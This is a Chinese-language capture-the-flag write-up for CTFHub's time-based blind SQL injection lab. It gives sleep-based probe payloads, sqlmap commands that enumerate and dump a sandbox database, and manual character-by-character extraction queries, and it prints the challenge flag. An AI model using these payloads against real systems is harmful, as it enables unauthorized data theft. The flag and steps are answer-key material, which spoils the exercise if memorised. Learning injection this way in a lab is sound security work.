CTFHUB-技能树-Web题-SQL注入-时间盲注

本文详细介绍了如何通过时间盲注技术检测SQL注入,并结合sqlmap工具进行数据库名、表名和字段名的爆破,以及手工注入方法逐层解析数据库结构。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

技能树-Web题-SQL注入-时间盲注

时间盲注

基本思路

利用响应时间来确定,是否注入成功
利用函数 if(),right(),substr()

常用的判断语句:

' and if(1=0,1, sleep(10)) --+ 
 
" and if(1=0,1, sleep(10)) --+
 
) and if(1=0,1, sleep(10)) --+
 
') and if(1=0,1, sleep(10)) --+
 
") and if(1=0,1, sleep(10)) --+
判断注入

首先确定是否有注入,用语句:

1 and if(length(database())>=0,sleep(1),1)

或

输入1 返回sql语句

在这里插入图片描述

输入1 and 1=2 仍然返回sql语句
在这里插入图片描述

没有报对错,这里考虑用时间盲注

数据库有一个判断语法

if(condition,A,B)

conidtion为条件,如果conidtion条件为真的话,那么将执行A。如果条件不为真,那么就执行B

到这我们已经了解了这个判断语句,那我们可以尝试

if(1=1,sleep(3),1)

1=1就是我们的条件,sleep(3)为我们的A,1为我们的B。

1=1即为真,那么将会执行sleep(3),也就是睡眠3秒钟(默认单位为秒)

那既然我们可以构造这个函数,我们就用这个函数来到时间盲注这个靶场尝试一下

我们输入

1 and if(1=1,sleep(3),1)    

(前面已经有一个查询语句了,所以需要用and连接)

发现页面加载了3秒才回显结果给我们,

在这里插入图片描述说明即存在时间盲注,我们通过sqlmap可以直接跑出结果

使用sqlmap

这里使用kali自带的sqlmap

在这里插入图片描述

1.爆库名
sqlmap -u http://challenge-ee244ec78d279db8.sandbox.ctfhub.com:10800/?id=1 --dbs --batch

-u:目标URL 
--dbs:枚举数据库

在这里插入图片描述

得到四个库名,猜测flag最有可能在sqli中,尝试爆破表名来看看

2.爆表名
sqlmap -u http://challenge-ee244ec78d279db8.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables --batch

-D 指定数据库 
--tables 列举该数据库中的所有表

在这里插入图片描述

得到表名为flag,news,猜测结果就在flag表中

3.爆字段名
sqlmap -u http://challenge-ee244ec78d279db8.sandbox.ctfhub.com:10800/?id=2 -D sqli -T flag --columns
-T 指定表
--columns 列举该表中的所有字段

在这里插入图片描述

得到字段名为flag

取数据
sqlmap -u http://challenge-ee244ec78d279db8.sandbox.ctfhub.com:10800/?id=2 -D sqli -T flag -C flag --dump
-C 指定字段
--dump 获取数据

在这里插入图片描述

得到flag:ctfhub{c8b218a70aa07c89a180b61f}

手工注入
1.判断数据库长度

页面3秒钟后才响应,说明数据库名称长度=4

1 and if(length(database())=4,sleep(3),1)

在这里插入图片描述

2. 猜解数据库名称
1 and if(ascii(substr(database(),1,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),1,1))=115,sleep(3),1)	
ascii(s)=115

1 and if(ascii(substr(database(),2,1))>110,sleep(3),1)

1 and if(ascii(substr(database(),2,1))=113,sleep(3),1)	
ascii(q)=113

1 and if(ascii(substr(database(),3,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),3,1))=108,sleep(3),1)	
ascii(l)=108

1 and if(ascii(substr(database(),4,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),4,1))=105,sleep(3),1)	
ascii(i)=105

......
不断调整ASCII码的范围逐渐得到数据库名称为sqli
3. 猜解sqli数据库中表的数量
1 and if((select count(table_name) from information_schema.tables
 where table_schema=database())=2,sleep(3),1)

页面3秒后响应,说明有两张表

4. 猜解表名
1 and if(ascii(substr((select table_name from information_schema.tables
  where table_schema=database() limit 0,1),1,1))=110,sleep(3),1)
  ascii(n)=110

3秒后响应,说明第一张表的第一个字母为n
依次得到表名为news

1 and if(ascii(substr((select table_name from information_schema.tables
  where table_schema=database() limit 1,1),1,1))=102,sleep(3),1)
  ascii(f)=102

3秒后响应,说明第一张表的第一个字母为f
依次得到表名为flag
5. 猜解flag表的字段数
1 and if((select count(column_name) from information_schema.columns
 where table_name='flag')=1,sleep(3),1)

3秒后响应,只有一个字段

6. 猜解字段名
1 and if(ascii(substr((select column_name from information_schema.columns
 where table_name='flag'),1,1))=102,sleep(3),1)

一样的套路,得到字段名为flag
7. 猜解flag具体值

庞大的工作量太过耗时,所以到此为止,开始sqlmap注入

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

python炒粉

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值